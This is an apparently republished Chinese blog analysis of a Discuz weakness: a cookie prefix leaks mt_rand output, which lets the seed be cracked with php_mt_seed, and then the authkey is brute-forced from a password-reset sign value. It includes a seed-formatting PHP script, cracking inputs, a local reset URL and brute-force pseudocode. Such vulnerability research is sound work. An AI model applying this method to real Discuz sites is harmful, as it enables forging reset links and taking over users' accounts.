Discuz mt_rand函数导致authkey泄漏分析

$_config['cookie']['cookiepre'] = random(4).'_';

首先是在cookie前缀中可以拿到生成后的字符串,因为在同一个脚本中,mt_rand函数只播种一次,所以我们可以拿得到的字符串去爆破种子。

先看安装文件install/index.php中authkey生成方式

$authkey = substr(md5($_SERVER['SERVER_ADDR'].$_SERVER['HTTP_USER_AGENT'].$dbhost.$dbuser.$dbpw.$dbname.$username.$password.$pconnect.substr($timestamp, 0, 6)), 8, 6).random(10);

authkey等于6位未知字符串(md5),加上用random函数生成的10位字符串(可以得到)

1、4位字符串大概可生成300个种子

2、300 * (16(a-f、0-9)的6次方)

也就是说有上百亿种可能。

再看找回密码处

function dsign($str, $length = 16){
    return substr(md5($str.getglobal('config/security/authkey')), 0, ($length ? max(8, $length) : 16));
}

在找回密码处的sign参数是由找回密码链接加上authkey的md5值前16位

《Discuz mt_rand函数导致authkey泄漏分析》

 

1.抓包获取cookie前缀,并拿去爆破种子

2.找回密码获取sgin的值

3.找回密码链接($link的值)+穷举6位字符串(a-f加0-9)加上指定种子生成后的字符串,md5后的前16位

4.每次生成字符串将后拿去与sign做匹配

抓包获取字符串

《Discuz mt_rand函数导致authkey泄漏分析》

生成种子

《Discuz mt_rand函数导致authkey泄漏分析》

generate.php如下:

<?php 
$str = "1iMd";
$randStr = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
 
for($i=0;$i<strlen($str);$i++){
   $pos = strpos($randStr,$str[$i]);
   echo $pos." ".$pos." "."0 ".(strlen($randStr)-1)." ";
   //整理成方便 php_mt_seed 测试的格式
  //php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}
echo "<hr>";
?>

爆破种子

因为是先生成的authkey,random(10),然后才生成的cookie前缀random(4),所以需要从第11位开始爆破

0 61 0 61 表示一位
0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 0 61 27 27 0 61 44 44 0 61 12 12 0 61 39 39 0 61 

《Discuz mt_rand函数导致authkey泄漏分析》

获取sign

找回密码处,这里为了方便直接将邮件内容打印出来

《Discuz mt_rand函数导致authkey泄漏分析》

http://127.0.0.1/member.php?mod=getpasswd&uid=2&id=d7z0lw&sign=304b4ce5b211e8ef

sign等于md5(“http://127.0.0.1/member.php?mod=getpasswd&uid=2&id=d7z0lw”.$authkey)的前16位

开始爆破

if(md5(findpassword_link+rand_str+seed_generate_value)[:16]==sign):print ‘success’

《Discuz mt_rand函数导致authkey泄漏分析》

本文来自ringk3y,经授权后发布,本文观点不代表MottoIN立场,转载请联系原作者。

发表评论

登录后才能评论

联系我们

021-62666911

在线咨询:点击这里给我发消息

邮件:root@mottoin.com

工作时间:周一至周五,9:30-18:30,节假日休息

QR code